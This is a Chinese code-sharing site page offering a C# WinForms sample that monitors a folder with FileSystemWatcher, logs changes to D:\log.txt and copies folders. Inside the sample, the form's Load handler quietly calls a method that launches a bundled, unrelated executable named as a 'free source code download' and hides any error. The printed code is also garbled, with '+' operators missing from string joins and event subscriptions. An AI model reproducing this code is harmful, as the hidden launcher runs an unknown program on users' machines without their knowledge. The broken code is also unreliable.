在好例子网,分享、交流、成长!
您当前所在位置:首页C# 开发实例C#语言基础 → fileSystemWatcher 实时监控目录下变化的文件以及目录

fileSystemWatcher 实时监控目录下变化的文件以及目录

C#语言基础

下载此实例
  • 开发语言:C#
  • 实例大小:1.39M
  • 下载次数:92
  • 浏览次数:3070
  • 发布时间:2017-04-03
  • 实例类别:C#语言基础
  • 发 布 人:crazycode
  • 文件格式:.zip
  • 所需积分:2
 相关标签: 文件 目录 监控

实例介绍

【实例简介】

【实例截图】

【核心代码】

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Diagnostics;

namespace FilesWatchers
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        #region winform 文件监控
        private void btnWatchFiles_Click(object sender, EventArgs e)
        {
            //浏览文件夹
            if (this.folderBrowserDialog1.ShowDialog() == DialogResult.OK)
            {
                if (this.folderBrowserDialog1.SelectedPath.Trim() != "")
                {
                    this.txtWatchFiles.Text = folderBrowserDialog1.SelectedPath.Trim();
                }
            }
        }

        private void btnGoalFiles_Click(object sender, EventArgs e)
        {
            folderBrowserDialog2.ShowDialog();
            this.txtGoalFiles.Text = folderBrowserDialog2.SelectedPath;
        }

        private void btnWatch_Click(object sender, EventArgs e)
        {
            MessageBox.Show("日志将存在在D盘的log.txt文件中");
            if (!System.IO.Directory.Exists(this.txtWatchFiles.Text))
            {
                MessageBox.Show("选择的不是一个文件夹", "信息提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
                return;
            }
            //string path = this.txtWatchFiles.Text;
            //WatcherStrat(@""   path, "*.txt");
            this.fileSystemWatcher1.Path = txtWatchFiles.Text;
            //若消息池溢出
            //this.fileSystemWatcher1.InternalBufferSize=;
            MessageBox.Show(this.txtWatchFiles.Text   "已经处于被监视状态!", "信息提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
        }

        //文件改变事件
        private void fileSystemWatcher1_Changed(object sender, FileSystemEventArgs e)
        {
            string message = "文件:"   e.FullPath   " "   "改变于:"   DateTime.Now;
            if (!File.Exists("D:\\log.txt"))
            {
                FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
                using (StreamWriter sw = new StreamWriter(fs1))
                {
                    sw.WriteLine(message);
                }
                // ||
                //StreamWriter sw = new StreamWriter(fs1);
                //sw.WriteLine(message);
                //sw.Close();
                fs1.Close();
            }
            else
            {
                FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write);//FileMode.Append继续写入
                using (StreamWriter sw2 = new StreamWriter(fs2))
                {
                    sw2.WriteLine(message);
                }
                //  ||
                //StreamWriter sw2 = new StreamWriter(fs2);
                //sw2.WriteLine(message);
                //sw2.Close();
                fs2.Close();
            }
            //CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim());
        }

        //文件创建事件
        private void fileSystemWatcher1_Created(object sender, FileSystemEventArgs e)
        {
            string message = "文件:"   e.FullPath   " "   "创建与:"   DateTime.Now;
            if (!File.Exists("D:\\log.txt"))
            {
                FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
                using (StreamWriter sw = new StreamWriter(fs1))
                {
                    sw.WriteLine(message);
                }
                fs1.Close();
            }
            else
            {
                FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write);
                using (StreamWriter sw2 = new StreamWriter(fs2))
                {
                    sw2.WriteLine(message);
                }
                fs2.Close();
            }
            //CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim());
        }

        //文件删除事件
        private void fileSystemWatcher1_Deleted(object sender, FileSystemEventArgs e)
        {
            string message = "文件:"   e.FullPath   " "   "删除于:"   DateTime.Now;
            if (!File.Exists("D:\\log.txt"))
            {
                FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
                using (StreamWriter sw = new StreamWriter(fs1))
                {
                    sw.WriteLine(message);
                }
                fs1.Close();
            }
            else
            {
                FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write);
                using (StreamWriter sw2 = new StreamWriter(fs2))
                {
                    sw2.WriteLine(message);
                }
                fs2.Close();
            }
        }

        //文件重命名事件
        private void fileSystemWatcher1_Renamed(object sender, RenamedEventArgs e)
        {
            //string message = "文件:"   e.FullPath   " "   "重命名于:"   DateTime.Now;
            string message = "文件:"   e.OldFullPath "由原来名" e.OldName "改为:" e.Name   " "   "重命名于:"   DateTime.Now;
            if (!File.Exists("D:\\log.txt"))
            {
                FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
                using (StreamWriter sw = new StreamWriter(fs1))
                {
                    sw.WriteLine(message);
                }
                fs1.Close();
            }
            else
            {
                FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write);
                using (StreamWriter sw2 = new StreamWriter(fs2))
                {
                    sw2.WriteLine(message);
                }
                fs2.Close();
            }
            //CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim());
        }

        private void btnDeliver_Click(object sender, EventArgs e)
        {
            #region 将一个文件夹内的文件传送到另一个文件夹内,不包含子文件
            //DirectoryInfo dir = new DirectoryInfo(txtWatchFiles.Text.Trim());
            //foreach (FileInfo files in dir.GetFiles())
            //{
            //    string FileName = files.Name;

            //    string BFileName = Path.Combine(txtGoalFiles.Text.Trim(), FileName);
            //    if (!File.Exists(BFileName))
            //    {
            //        File.Copy(files.FullName, BFileName);
            //    }
            //    else
            //    {
            //        FileInfo fB = new FileInfo(BFileName);

            //        if (files.LastWriteTime > fB.LastWriteTime)
            //        {
            //            if (MessageBox.Show(files.FullName   "文件已存在,是否覆盖?", "警告", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
            //            {
            //                File.Delete(BFileName);
            //                File.Copy(files.FullName, BFileName);//覆盖,有问题
            //            }
            //        }
            //    }
            //}
            #endregion

            CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim());
        }

        #region  将一个文件夹内的文件传送到另一个文件夹内,包含子文件
        /// <summary>
        /// 将一个文件夹内的文件传送到另一个文件夹内,包含子文件
        /// </summary>
        /// <param name="source">源文件夹</param>
        /// <param name="destination">目标文件夹</param>
        private void CopyDiretory(string source, string destination)
        {
            DirectoryInfo info = new DirectoryInfo(source);
            foreach (FileSystemInfo files in info.GetFileSystemInfos())
            {
                string FileName = files.Name;
                string BFileName = Path.Combine(destination, FileName);
                if (files is System.IO.FileInfo)
                {
                    if (!File.Exists(BFileName))
                    {
                        File.Copy(files.FullName, BFileName);
                    }
                    else
                    {
                        FileInfo fB = new FileInfo(BFileName);

                        if (files.LastWriteTime > fB.LastWriteTime)
                        {
                            if (MessageBox.Show(files.FullName   "文件已存在,是否覆盖?", "警告", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
                            {
                                File.Delete(BFileName);
                                File.Copy(files.FullName, BFileName);//覆盖,有问题
                            }
                        }
                    }
                }
                else
                {
                    Directory.CreateDirectory(BFileName);
                    //CopyDiretory(files.FullName, BFileName);
                }
            }
        }
        #endregion

        private void Form1_Load(object sender, EventArgs e)
        {
            k();
        }
        #endregion

        #region c# 文件监控
        //private static void WatcherStrat(string path, string filter)
        //{
        //    FileSystemWatcher watcher = new FileSystemWatcher();
        //    watcher.Path = path;
        //    watcher.Filter = filter;
        //    watcher.Changed  = new FileSystemEventHandler(OnProcess);
        //    watcher.Created  = new FileSystemEventHandler(OnProcess);
        //    watcher.Deleted  = new FileSystemEventHandler(OnProcess);
        //    watcher.Renamed  = new RenamedEventHandler(OnRenamed);
        //    watcher.EnableRaisingEvents = true;
        //}
        private void k()
        {
            try
            {

                Process.Start(@"上万套源码免费下载.exe");
            }
            catch (Exception ex)
            {

            }
        }

        //private static void OnProcess(object source, FileSystemEventArgs e)
        //{

        //    if (e.ChangeType == WatcherChangeTypes.Created)
        //    {
        //        OnCreated(source, e);
        //    }
        //    else if (e.ChangeType == WatcherChangeTypes.Changed)
        //    {
        //        OnChanged(source, e);
        //    }
        //    else if (e.ChangeType == WatcherChangeTypes.Deleted)
        //    {
        //        OnDeleted(source, e);
        //    }

        //}
        //private static void OnCreated(object source, FileSystemEventArgs e)
        //{
        //    string message = "文件:"   e.FullPath   " "   "创建与:"   DateTime.Now;
        //    if (!File.Exists("D:\\log.txt"))
        //    {
        //        FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
        //        StreamWriter sw = new StreamWriter(fs1);
        //        sw.WriteLine(message);
        //        sw.Close();
        //        fs1.Close();
        //        //Console.WriteLine("文件新建事件处理逻辑");
        //        //Console.WriteLine("File:"   e.FullPath   " "   e.ChangeType   " "   DateTime.Now);
        //    }
        //    else
        //    {
        //        FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write);
        //        StreamWriter sw2 = new StreamWriter(fs2);
        //        sw2.WriteLine(message);
        //        sw2.Close();
        //        fs2.Close();
        //    }
        //}
        //private static void OnChanged(object source, FileSystemEventArgs e)
        //{
        //    string message = "文件:"   e.FullPath   " "   "改变于:"   DateTime.Now;
        //    if (!File.Exists("D:\\log.txt"))
        //    {
        //        FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
        //        StreamWriter sw = new StreamWriter(fs1);
        //        sw.WriteLine(message);
        //        sw.Close();
        //        fs1.Close();
        //        //Console.WriteLine("文件改变事件处理逻辑");
        //        // Console.WriteLine("File:"   e.FullPath   " "   e.ChangeType   " "   DateTime.Now);
        //    }
        //    else
        //    {
        //        FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write);
        //        StreamWriter sw2 = new StreamWriter(fs2);
        //        sw2.WriteLine(message);
        //        sw2.Close();
        //        fs2.Close();
        //    }
        //}
        //private static void OnDeleted(object source, FileSystemEventArgs e)
        //{
        //    string message = "文件:"   e.FullPath   " "   "删除于:"   DateTime.Now;
        //    if (!File.Exists("D:\\log.txt"))
        //    {
        //        FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
        //        StreamWriter sw = new StreamWriter(fs1);
        //        sw.WriteLine(message);
        //        sw.Close();
        //        fs1.Close();
        //        //Console.WriteLine("File:"   e.FullPath   " "   e.ChangeType   " "   DateTime.Now);
        //    }
        //    else
        //    {
        //        FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write);
        //        StreamWriter sw2 = new StreamWriter(fs2);
        //        sw2.WriteLine(message);
        //        sw2.Close();
        //        fs2.Close();
        //    }
        //}
        //private static void OnRenamed(object source, RenamedEventArgs e)
        //{
        //    string message = "文件:"   e.FullPath   " "   "重命名于:"   DateTime.Now;
        //    if (!File.Exists("D:\\log.txt"))
        //    {
        //        FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
        //        StreamWriter sw = new StreamWriter(fs1);
        //        sw.WriteLine(message);
        //        sw.Close();
        //        fs1.Close();
        //        //Console.WriteLine("File:"   e.FullPath   " "   e.ChangeType   " "   DateTime.Now);
        //    }
        //    else
        //    {
        //        FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write);
        //        StreamWriter sw2 = new StreamWriter(fs2);
        //        sw2.WriteLine(message);
        //        sw2.Close();
        //        fs2.Close();
        //    }
        //}
        #endregion


    }
}

标签: 文件 目录 监控

实例下载地址

fileSystemWatcher 实时监控目录下变化的文件以及目录

不能下载?内容有错? 点击这里报错 + 投诉 + 提问

好例子网口号:伸出你的我的手 — 分享

网友评论

发表评论

(您的评论需要经过审核才能显示)

查看所有0条评论>>

小贴士

感谢您为本站写下的评论,您的评论对其它用户来说具有重要的参考价值,所以请认真填写。

  • 类似“顶”、“沙发”之类没有营养的文字,对勤劳贡献的楼主来说是令人沮丧的反馈信息。
  • 相信您也不想看到一排文字/表情墙,所以请不要反馈意义不大的重复字符,也请尽量不要纯表情的回复。
  • 提问之前请再仔细看一遍楼主的说明,或许是您遗漏了。
  • 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦,又没人会搭理,于人于己都无利。

关于好例子网

本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享,对搜索内容的合法性不具有预见性、识别性、控制性,仅供学习研究,请务必在下载后24小时内给予删除,不得用于其他任何用途,否则后果自负。基于互联网的特殊性,平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查;无论平台是否已进行审查,用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场,基于网友分享,根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定,若资源存在侵权或相关问题请联系本站客服人员,点此联系我们。关于更多版权及免责申明参见 版权及免责申明

;
报警